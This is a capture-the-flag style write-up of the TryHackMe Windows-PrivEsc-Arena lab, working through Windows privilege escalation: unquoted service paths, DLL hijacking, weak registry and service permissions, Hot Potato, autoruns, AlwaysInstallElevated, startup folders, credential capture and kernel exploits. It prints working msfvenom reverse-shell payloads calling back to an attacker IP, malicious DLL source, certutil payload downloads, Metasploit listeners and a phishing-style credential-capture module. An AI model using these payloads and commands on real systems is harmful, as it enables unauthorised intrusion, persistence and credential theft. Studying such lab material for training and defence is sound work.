Windows-PrivEsc-Arena TryHackMe writeup

8 minute read

During studying the TCM windows privilege escalation course this is the Lab designed to cover the topics mentioned in the course. it has been a while since i revised my notes regrading this course so this is a detailed write-up for the room. also i have re-ordered the content to be as an ordered checklist

this room covers :

Service Escalation - Unquoted Service Paths
Service Escalation - DLL Hijacking
Service Escalation - Registry
Service Escalation - Executable Files
Service Escalation - binPath
Potato Escalation - Hot Potato
Registry Escalation - Autorun
Registry Escalation - AlwaysInstallElevated
Privilege Escalation - Startup Applications
Password Mining Escalation - Memory
Privilege Escalation - Kernel Exploits
quick commands

first you need to connect to THM with the openvpn as mentioned in task-1 , let’s drive into the Room itself.
As the room is discussing privilege escalation so it assumes you have compromised a windows machine in any way and you are now against the privesc step , that’s why you are given the RDP connection directly.
connect with RDP :

rdesktop 10.10.14.235 -u user -p password321

Service-Escalation - Unquoted Service Paths

Unquoted path escalation is the case when a service path is like :

C:\Program Files\example 2\app.exe

what happens to run the app.exe is as following:

# Try :
C:\Program.exe
# if not found try :
C:\Program Files\example.exe
# if not found try :
C:\Program Files\example 2\app.exe

so if we have write access to the C:\program Files\ we can place our example.exe so it can be used instead of the actual app.exe , and we can place a malicious app that can get us a reverse connection
the mitigation is quite straight forward : "C:\Program Files\example 2\app.exe"
Attack example :
first you need to list the services along with the path :

Get-WmiObject win32_service | Select-Object Name, State, PathName

to query the configuration information for a specified service we use :

sc qc unqoutedsvc

now as we can see under the BINARY_PATH it is not quoted so we can try our luck there
use accesschk64.exe to check our permissions for that path

we can write into the path the following : C:\Program\Unquoted path service\common.exe
so let’s generate the payload with msfvenom and send it to that path , then start the service

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.0.37 LPORT=1337 -f exe -o  common.exe

note that when the last sc command halts then terminated you will lose your connection so it is better to make a better than a reverse connection like adding a user to the administrator group instead :

msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe

Service Escalation - DLL Hijacking

My favorite escalation way , DLL Hijacking is very common escalation Factor you should consider,it is a little tricky to detect But easy to abuse.
attackers usually copy the suspected executables and run them at their lab to analyze them
in this lab we are working in same machine , you need Process Monitor it is like pspy in linux But it tells us details about a process as we will see
the idea behind DLL Hijacking is : finding a process searches for a DLL and not able to find it
if we the attacker can write to the path , the process searches through , we can craft our own malicious DLL to perform administrative actions
add the filters :

focusing on this dllhijackservice to understand how it searches for dlls :

it searches for a dll under ` C:\Temp` which we have access to write

we craft our payload then place it in the C:\Temp:\hijackme.dll then start the service , the next time it starts it will find the missed dll and execute it

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k net localgroup administrators user /add");  //replace command
ExitProcess(0);
}
return TRUE;
}

compile it as dll :

x86_64-w64-mingw32-gcc  dll.c -shared -o hijackme.dll

move it and restart the service :

the user has been added to the local administrators group

Service Escalation - Registry

List them :

reg query HKLM\SYSTEM\CurrentControlSet\Services

search for a service has NT AUTHORITY\INTERACTIVE allow FullControl :

Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\regsvc | fl

use the code here
add what ever code you want to execute for example add current user to the administrator group

cmd.exe /k net localgroup administrators user /add

cross compile it :

i686-w64-mingw32-gcc windows_service.c -o fake.exe

send it to the windows then :

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\fake.exe /f

and we can see the user has been added to the local administrator group, trying to perform an administrative action the ACL will accept our password to grantee this action :

Service Escalation - Executable Files

finding a service we can overwrite and restart the service will gain us a reverse shell
we can search for them by a tool like powerup.ps1 or manually with accesschk64.exe on the services running , we can list them with powershell:

Get-Service | Where-Object {$_.Status -eq "Running"}

or cmd :

sc.exe query type=service

we see this file has write access by every body , we can simply generate with msfvenom a reverse executable and replace it , then start the service again :

we could also use the same exe from the registry escalation section

Service Escalation - binPath

we are after a service that has RW access for Everyone , we can search for it with :

 .\accesschk64.exe -wuvc Everyone *

if we have the : SERVICE_CHANGE_CONFIG
we can now leverage our privilege by writing a new configuration then start the service

sc config daclsvc binpath= "net localgroup administrators user /add"

Potato Escalation - Hot Potato

the potato attacks are so famous when it comes to windows , actually there are more than one type of potato attack , you can refer to this blog.
the attack vector was fixed in MS16-075 , probably windows 7 is vulnerable.
we can list last updates :

wmic qfe list full /format:table

searching for the 3 installs , will find none of them patching the vuln
there are multiple ways to attack hot potato like metasploit , powershell , potato.exe , refer here

. .\tater.ps1
Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"

and we can see the user has been added to the local administrator Group

Registry Escalation - Autorun

first you need to run Autoruns64.exe to list the auto runs applications

we can notice the program.exe running under C:\Program Files\Autorun Program\ ,now we should use accesschk64.exe to check our privilege on that path

it has read/write access For everyone , so we can replace the program.exe with a malicious payload to gain a reverse shell as higher privilege

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.0.37 LPORT=9090 -f exe -o  program.exe

fire up your http server then from the windows machine download it :

certutil -urlcache -f http://10.9.0.37:8888/program.exe program.exe

rename it to program.exe as the auto runner program , copy & overwrite it :

now set you listener :

msfconsole -x "use exploit/multi/handler;set LHOST 10.9.0.37;set LPORT 9090;set payload windows/meterpreter/reverse_tcp;run"

rdesktop 10.10.174.128  -u TCM -p Hacker12

Registry Escalation - AlwaysInstallElevated

check AlwaysinstalledElevated is on if the value = 0x1

reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer

craft msi payload :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.0.37 LPORT=7878 -f msi -o setup.msi

move it to the machine and run it :

Privilege Escalation - Startup Applications

we can search for this attack vector by running :

icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

we can see that Builtin\Users has the F flag meaning full control , Built-in user account is a type of user account that is created during installation

simply copy a malicious executable to C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
then when an administrator logs in you will gain a reverse shell

Password Mining Escalation - Memory

the discussed attack can be helpful in phishing demonstration , will use metasploit as :

msfconsole -x "use auxiliary/server/capture/http_basic;set uripath x ; run"

This module responds to all requests for resources with a HTTP 401. This should cause most browsers to prompt for a credential. If the user enters Basic Auth creds they are sent to the console

and we have captured his password as we see ;)
for password mining winpeas are helpful hence it searches for any file its name or content contain words like passwords , key , .. etc

Privilege Escalation - Kernel Exploits

when it comes to old versions of windows (xp,7,8) it most likely can be exploit using kernel exploitation techniques.
to detect if it is vulnerable , run systeminfo ,take the output and pass it to Windows-Exploit-Suggester tool
NOTE windows-exploit-suggester can reveal other attack vectors rather than the kernel exploits

python windows-exploit-suggester.py --database 2022-04-25-mssb.xls --systeminfo ~/CTFs/Tryhackme/windowsprivescarena/kernel_search

but the easiest way is to get a meterpreter shell and use the run local_exploit_suggester
note that exploiting not compatible kernel exploit can harm the system , so keep it your last option

Automation

there a lot of tools you can use like Winpeas , But Let’s Try PowerUp.ps1

Quick commands

Download files from your http server to windows :

certutil -urlcache -f <url> <outfile_name>
Invoke-WebRequest -Uri <url> -OutFile <outfile_name>

Remember if you are going to use ftp server , in case moving exe files to use binary on

Generate payloads :

# exe payload to get reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.0.37 LPORT=1337 -f exe -o  common.exe
# exe payload to execute commands
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
# msi payload (for AlwaysInstallElevated)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.0.37 LPORT=7878 -f msi -o setup.msi

quick msfconsole listener :

msfconsole -x "use exploit/multi/handler;set LHOST <ip>;set LPORT <port>;set payload windows/meterpreter/reverse_tcp;run"

Useful Resources :

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Hussien Misbah